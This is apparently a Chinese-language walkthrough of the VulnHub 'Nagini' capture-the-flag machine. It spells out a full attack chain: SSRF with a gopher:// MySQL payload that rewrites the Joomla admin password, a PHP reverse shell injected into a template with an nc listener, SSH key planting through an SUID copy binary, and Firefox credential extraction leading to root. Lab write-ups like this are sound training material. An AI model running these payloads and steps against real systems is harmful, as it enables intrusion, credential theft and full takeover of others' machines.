- 在J.K.罗琳的《哈利·波特》系列中,纳吉尼(Nagini)是伏地魔的宠物蛇。她是一个非常重要的角色,因为她不仅是伏地魔的伙伴,还被用作伏地魔的一个魂器(Horcrux),即存放伏地魔灵魂的一部分的容器。
靶机:https://download.vulnhub.com/harrypotter/Nagini.ova
难度:
- 中->高(打点较难)
涉及攻击方法:
- 主机发现
- 端口扫描
- Web信息收集
- HTTP3协议
- 域名绑定
- SSRF漏洞(Gopher + Mysql)
- Joomla漏洞
- SSH公钥登录
- 浏览器密码还原
主机发现
arp-scan -l
端口扫描和服务发现
nmap -p- 192.168.234.119
可能是Debian
操作系统,Web应用是Apache
的
直接访问80端口发现只有一张图片
目录扫描
dirsearch -u http://192.168.234.119/
发现一个Joomla CMS
,它是一个几乎与WordPress
齐名的CMS
系统
我们还发现了这个路径http://192.168.234.119/joomla/administrator/
找到了后台登录页面
尝试弱口令登录失败
那么我们对目标系统可能隐藏的文件再次进行爬取
dirsearch -u http://192.168.234.119/ -f -e html,php,txt -w /usr/share/seclists/Discovery/WebContent/directory-list-2.3-small.txt
- -f,–force-extensions 参数 在字典的每条记录后面添加文件拓展名
- -w 参数 用于指定字典文件的路径
发现一个note.txt
Hello developers!!
I will be using our new HTTP3 Server at https://quic.nagini.hogwarts for further communications.
All developers are requested to visit the server regularly for checking latest announcements.
Regards,
site_amdin
提示需要使用HTTP3
来访问服务器
DNS解析():
我们先把quic.nagini.hogwarts
放到我们的Host文件里面
- Linux
vim /etc/hosts
- Windows 的
hosts
文件在C:\Windows\System32\drivers\etc
里面
ping quic.nagini.hogwarts
发现可以ping
通
HTTP3 客户端软件的安装(曲折、麻烦)
git clone --recursive https://github.com/cloudflare/quiche
先下载quiche
sudo apt install cargo
sudo apt install cmake
cargo build --examples
sudo apt purge rustc
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs sh
1
选择 1 这个选项source $HOME/.cargo/env
环境变量cargo build --examples
安装好 cargo 之后,生成一些例子文件cargo test
测试成功就可以使用 HTTP3 这个程序了cd target/debug/examples
./http3-client https://quic.nagini.hogwarts
- 发现两条提示
- 发现
/internalResourceFeTcher.php
路径 - 发现
.bak
备份文件的存在
http://192.168.234.119/internalResourceFeTcher.php
欢迎来到内网资源获取页面,这里存在SSRF
漏洞
SSRF漏洞
SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种安全漏洞,攻击者可以利用它让服务器在未经授权的情况下代表他们发起请求。通常情况下,服务器的请求是可信的,所以这些请求可能绕过一些访问控制或防火墙,从而访问到本不该访问的内部资源或网络。
SSRF 漏洞可能带来的风险包括:
- 访问内部资源:攻击者可以利用 SSRF 漏洞访问内部网络中的服务,比如数据库、内部 API 等。
- 探测网络:攻击者可以借助 SSRF 漏洞探测内部网络结构、开放端口等信息。
- 信息泄露:如果内部资源返回敏感信息,攻击者可能会通过 SSRF 访问这些信息。
- 执行任意操作:在某些情况下,攻击者可以利用 SSRF 漏洞执行恶意操作,比如在某些云服务中,可能访问到元数据服务并获取密钥或凭证。
防范 SSRF 漏洞的方法包括:
- 输入验证与过滤:严格验证输入,确保只能访问合法的、预期的资源。
- 网络分段与隔离:在网络架构上隔离敏感资源,减少服务器内部请求的权限。
- 使用 Web 应用防火墙(WAF):可以过滤和拦截对已知 SSRF 攻击的请求。
- 限制外部请求:应用程序应仅允许必要的外部请求,并限制请求方法和协议。
- 监控和日志记录:监控和记录所有外部请求以便检测和调查可疑活动。
首先使用file:///etc/passwd
看看目标服务器本机的/etc/passwd
文件发现是可以访问的
http://127.0.0.1
也可以
gopher:// 协议
作为渗透攻击者,我们必须知道gopehr
其实也是一种非常强大的协议类型,可以和很多基于 TCP 的后端服务来进行交互,并且可以通过它去发送针对后端服务定制的协议的操作指令。
理论上只要你的后端应用是基于 TCP 协议的,而前端的 Web 应用是存在 SSRF 漏洞,并且可以使用 gopher://
的方式去对后端应用的服务端口去进行访问的话,满足这些条件的话,就可以利用 gopher 去访问后端所有基于 TCP 协议的所有的应用,并且针对后端的应用类型来发送针对他们具体的操作指令
输入 gopher://127.0.0.1:80
发现浏览器一直在转
输入 gopher://127.0.0.1:22
直接返回了 SSH
服务的 Banner
信息
那我们是可以利用 gopher
协议来进行端口扫描和服务发现的,可以用 Burp
的 Intruder
批量扫描
我们回到上面提到网站存在一个 .bak
备份文件,而且是配置文件的备份文件
百度搜索发现 configuration.php
那我们尝试访问 http://192.168.0.104/joomla/configuration.php.bak
成功下载了这个文件
发现了一些很有价值的数据
public $dbtype = 'mysqli';
public $host = 'localhost';
public $user = 'goblin';
public $password = '';
public $db = 'joomla';
public $dbprefix = 'joomla_';
public $live_site = '';
public $secret = 'ILhwP6HTYKcN7qMh';
public $mailfrom = 'site_admin@nagini.hogwarts';
public $fromname = 'Joomla CMS';
public $sendmail = '/usr/sbin/sendmail';
public $log_path = '/var/www/html/joomla/administrator/logs';
public $tmp_path = '/var/www/html/joomla/tmp';
现在有大量现成的工具,帮助我们自动生成,使用 gopher://
协议利用 SSRF
漏洞向后端数据库去提交各种的数据库操作指令请求
比如 Gopherus
这个工具
下载 git clone https://github.com/tarunkant/Gopherus.git
./gopherus.py --exploit mysql
运行
- 数据库名使用
goblin
- 命令为:
use joomla;show tables;
查看所有表名
然后它会把 payload
生成出来
gopher://127.0.0.1:3306/_%a5%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%67%6f%62%6c%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%18%00%00%00%03%75%73%65%20%6a%6f%6f%6d%6c%61%3b%73%68%6f%77%20%74%61%62%6c%65%73%3b%01%00%00%00%01
我们直接提交到页面的表单中,需要多提交几次才能显示出来
搜索 users
的表名,发现 joomla_users
这个表
那我们再次生成 payload
要执行的命令改为:use joomla;select * from joomla_users;
查看这个表的内容
发现账号和密码
百度谷歌上搜索破解不了密码,那么我们可以用 md5
生成一个密码,然后用 mysql
的 update
语句来改写这个密码。
echo -n "abc" | md5sum
生成 abc
的 md5
值
命令改成:use joomla; update joomla_users SET password='900150983cd24fb0d6963f7d28e17f72' WHERE username='site_admin';
提交表单之后尝试登录,登录成功!
反弹Shell
接下来就是需要找模版,然后把我们要 反弹shell
的 payload
注入进去
选择这个 Protostar Details and Files
我们尝试修改这个它本身自带的 error.php
文件
cd /usr/share/webshells/php/
去到 kali
中存放 php反弹shell
的地方
修改一下 php-reverse-shell.php
代码中监听的 IP
和 端口
,改成 kali
的
将代码放到 error.php
中并保存
kali
先开启监听 nc -lvnp 4444
然后访问 error.php
的路径 http://192.168.0.104/joomla/templates/protostar/error.php
触发 反弹shell
成功获得 shell
提权
/bin/bash -i
对这个 shell
进行一下简单的升级
ls /home
主目录下发现 hermoine
赫敏小美女还有 snape
斯内普教授
cd /home/snape
先去 snape
教授那里看看,发现一个 creds.txt
,这是一个身份认证信息的文件,查看发现是 Base64
编码了的
echo "TG92ZUBsaWxseQ==" | base64 -d
解码后得到 Love@lilly
- 莉莉是哈利·波特的母亲,而斯内普教授当年是深爱着莉莉的
ssh snape@192.168.0.104
尝试 SSH
登录 snape
的账号,密码就是 Love@lilly
登录上去之后暂时没有其他的发现
在 /var/www/html
这个 Web
目录下发现第一个flag
:horcrux1.txt
- 斯莱特林挂坠盒是伏地魔的七大魂器之一,也是霍格沃茨创始人之一萨拉查·斯莱特林的遗物,最后它被罗恩·韦斯莱用格兰芬多宝剑将其销毁。
在 /home/hermoine
赫敏的主目录有第二个 flag
,但是提示拒绝权限,发现只有 hermoine
自己可以读这个文件,那么我们就需要把自己提升成为 hermoine
。
在 hermoine
目录下发现一个 bin
目录,里面的 su_cp
文件开启了 SUID
权限,并且它是一个可执行文件,执行的时候会以hermoine
这个账号来执行
我们执行查看一下这个文件 ./su_cp --help
,发现它执行的是一个拷贝的任务Copy SOURCE to DEST, or multiple SOURCE(s) to DIRECTORY.
是一个拷贝命令
由于su_cp
执行的时候会以hermoine
这个账号的权限来执行,所以我们可以利用这个权限,利用这个拷贝命令,将我 kali
这台主机账号的公钥拷贝到赫敏hermoine
她的 SSH
那个目录里面,从而使得目标靶机允许我使用赫敏hermoine
这个账号在不需要账号密码的情况下,使用公钥直接登录进入目标系统,登录进入到赫敏hermoine
这个账号,这样就可以查看第二个 flag
文件 horcrux2.txt
了
首先在 kali 本机上生成 ssh
秘钥对,输入命令 ssh-keygen
,默认配置不改它,直接回车
然后把它拷贝到目标主机上去
- cd .ssh/
- ls
scp id_ed25519.pub snape@192.168.0.104:~/
回到 snape
账号,把公钥的名字改成 authorized_keys
,重新赋予 640 的权限
然后用 su_cp
来拷贝公钥文件到 hermoine
的 .ssh
目录下
./su_cp -p /home/snape/authorized_keys /home/hermoine/.ssh/
ssh hermoine@192.168.0.104
在 kali
本机直接登录了 hermoine
账号,获得了 horcrux2.txt
,是一串 Base64
- 赫敏用时间转换器回到过去,毁掉了赫奇帕奇的奖杯,这是《哈利波特与死亡圣器》中发生的一件事。她这样做的目的是为了阻止伏地魔找到第二个魂器,也就是赫奇帕奇的金杯。
目前去不了 root
的主目录,那么继续信息收集
发现 .mozilla
文件夹,我们知道,在 Linux 操作系统中使用 firefox 火狐浏览器的话,就会在主目录生成.mozilla
文件夹
我们需要用工具提取里面的账号密码
scp -rp hermoine@192.168.0.104:/home/hermoine/.mozilla /tmp
先把这个文件夹放到本机的 /tmp
目录下
然后从 https://github.com/unode/firefox_decrypt
网址下载工具
python3 firefox_decrypt.py /tmp/.mozilla/firefox
运行脚本获得了账号密码
Website: http://nagini.hogwarts
Username: 'root'
Password: '@Alohomora#123'
ssh root@192.168.0.104
直接登录成功!获得 horcrux3.txt
- 哈利在有求必应屋门口用蛇怪的毒牙把冠冕刺穿,随即被罗恩踢入格雷戈里·高尔释放的厉火中彻底烧毁。
总结
- 靶机新颖有趣,也涉及了很多新技术。